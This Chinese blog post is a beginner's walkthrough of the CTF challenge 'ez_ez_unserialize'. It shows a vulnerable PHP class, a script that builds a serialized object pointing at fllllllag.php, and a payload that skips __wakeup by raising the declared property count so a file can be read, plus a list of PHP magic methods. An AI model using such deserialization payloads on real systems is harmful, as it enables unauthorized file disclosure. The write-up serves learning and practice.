首页 > 编程语言 >CTF web新手解题——php反序列化 【ez_ez_unserialize】

CTF web新手解题——php反序列化 【ez_ez_unserialize】

时间:2024-11-06 21:16:01浏览次数:3  
标签:__ web 调用 fllllllag ez wakeup 序列化 php

感受最大的就是:作为web新手,应速通并逐渐掌握php语言

收获:从此题提高了我对代码的理解力

【ez_ez_unserialize】

NSSCTF{1ba5d701-3b8a-4a83-965d-7e912ef6f43b}

分析

存在__wakeup()魔术方法

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

所以这题只需要绕过__weakup()

漏洞分析

绕过__wakeup的检查

__wakeup函数试图限制$x属性的值为当前文件路径,但由于PHP对象序列化机制允许直接设置属性,可以通过构造特定的序列化对象绕过__wakeup的检查。当对象被反序列化并且销毁时,__destruct将被调用,从而输出指定路径的文件内容。

利用

可以构造一个序列化字符串,使得在反序列化时$x被设置为fllllllag.php,并绕过__wakeup检查,从而在析构时读取该文件内容。

构造exp

<?php

class X{

    public $x ;

    function __construct($x)

    {

        $this->x = $x;

    }

    function __wakeup()

    {

        if($this->x !== __FILE__){

            $this->x = __FILE__;

        }

    }

    function __destruct()

    {

        highlight_file($this->x);

        //flag is in fllllllag.php

    }

}

echo serialize(new X("fllllllag.php"));

运行结果:

O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

解释

O:1:"X"表示创建一个X类的对象。

1表示该对象有一个属性。

s:1:"x";s:13:"fllllllag.php";表示将属性$x的值设为"fllllllag.php"

要绕过wakeup函数,只要序列化的中的成员数大于实际成员数,即可绕过

将:O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

修改为:O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

php的魔术方法还有很多需要我去探索(双下划线开头的)

__construct(),类的构造函数(本题涉及

__destruct(),类的析构函数

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()或empty()时调用 (本题涉及

__unset(),当对不可访问属性调用unset()时被调用。

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数(本题涉及

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息
 

标签:__,web,调用,fllllllag,ez,wakeup,序列化,php
From: https://blog.csdn.net/2302_80480639/article/details/143579691

相关文章

  • 2024/11/6日 日志 正则表达式,web与HTTP
    正则表达式点击查看代码--正则表达式--·概念:正则表达式定义了字符串组成的规则--·定义:--1.直接量:注意不要加引号--varreg=/^lw{6,12}$/:--2.创建RegExp对象--varreg=newRegExp("^lw{6,12}$");--·方法:--· test(str):判断指定字符串是否......
  • C# WebSocketSharp 框架的用法
    一、概述WebSocketSharp是一个C#实现websocket协议客户端和服务端,WebSocketSharp支持RFC6455;WebSocket客户端和服务器;消息压缩扩展;安全连接;HTTP身份验证;查询字符串,起始标题和Cookie;通过HTTP代理服务器连接;.NETFramework3.5或更高版本(包括兼容环境,如Mono)。github地址ht......
  • C# WebSocket的简单使用【使用Fleck实现】
    有bug,不推荐使用有bug,不推荐使用有bug,不推荐使用2.WebSocketHelper新建 WebSocketHelper.csusingFleck;namespaceWebSocket{internalclassWebSocketHelper{//客户端url以及其对应的Socket对象字典IDictionary<string,IWebSocketCon......
  • awtk-web 更新
    老用户请花点时间看看新版改动一、介绍AWTK-WEB让AWTK能够在浏览器中运行,这除了看起来比较酷,也有具有实际的意义:让用C语言开发的AWTK应用程序,在不需要修改源码的情况下,能在浏览器中运行。可以方便的向客户展示项目,只需分享一个链接,客户就可以在浏览器中看到实际......
  • Playwright:掌握Web自动化测试的新利器
    在快速迭代的互联网环境中,Web应用的测试工作日益繁重。传统的手动测试不仅耗时耗力,还难以保证测试的全面性和准确性。面对复杂多变的测试需求,你是否也曾感到力不从心?别担心!本周四晚上八点,我们特别策划了一场关于Playwright的公开课,旨在帮助大家掌握这款Web自动化测试的新利器。Pl......
  • c# HttpClient,WebClient常用请求
     getWebClientwebClient=newWebClient();ServicePointManager.SecurityProtocol=(SecurityProtocolType)192|(SecurityProtocolType)768|(SecurityProtocolType)3072;//ServicePointManager.Expect100Continue=true;......
  • python webdriver-manager 实现selenium 免下载安装webdriver
    selenium在自动化测试中,通常需要使用浏览器驱动来与浏览器进行交互。然而,手动下载、安装、以及管理这些驱动非常麻烦,尤其是当驱动版本频繁更新时。为此,webdriver-manager库提供了一个极简的方案,自动帮我们下载、更新和管理驱动,使Selenium代码更简洁优雅。webdriver-managergit......
  • 国标GB28181公网平台LiteGBS国标GB28181网页直播平台Web界面:GB28181协议监控视频管理
    在数字化时代,视频监控系统已成为公共安全和企业管理中不可或缺的一部分。随着技术的进步,GB28181协议作为国家标准,为视频监控系统的互联互通提供了一个统一的平台。LiteGBS作为遵循GB28181协议的网页直播平台,以其高效、稳定的特性,为用户提供了一个强大的视频管理工具。LiteGBS是......
  • Burp Suite Professional 2024.10 for Windows x64 - 领先的 Web 渗透测试软件
    BurpSuiteProfessional2024.10forWindowsx64-领先的Web渗透测试软件世界排名第一的Web渗透测试工具包请访问原文链接:https://sysin.org/blog/burp-suite-pro-win/查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgBurpSuiteProfessional,更快、更可靠的......
  • 在 Windows Server 2025 中,WebDAV 重定向程序(WebDAV Redirector)是一个客户端组件,用于
    在WindowsServer2025和更高版本中,WebDAV(Web-basedDistributedAuthoringandVersioning)协议仍然可以通过启用IIS(InternetInformationServices)角色来使用。你可以安装并配置IIS中的WebDAV模块来实现文件共享和远程访问。在WindowsServer2025中,WebDAV重定向程序......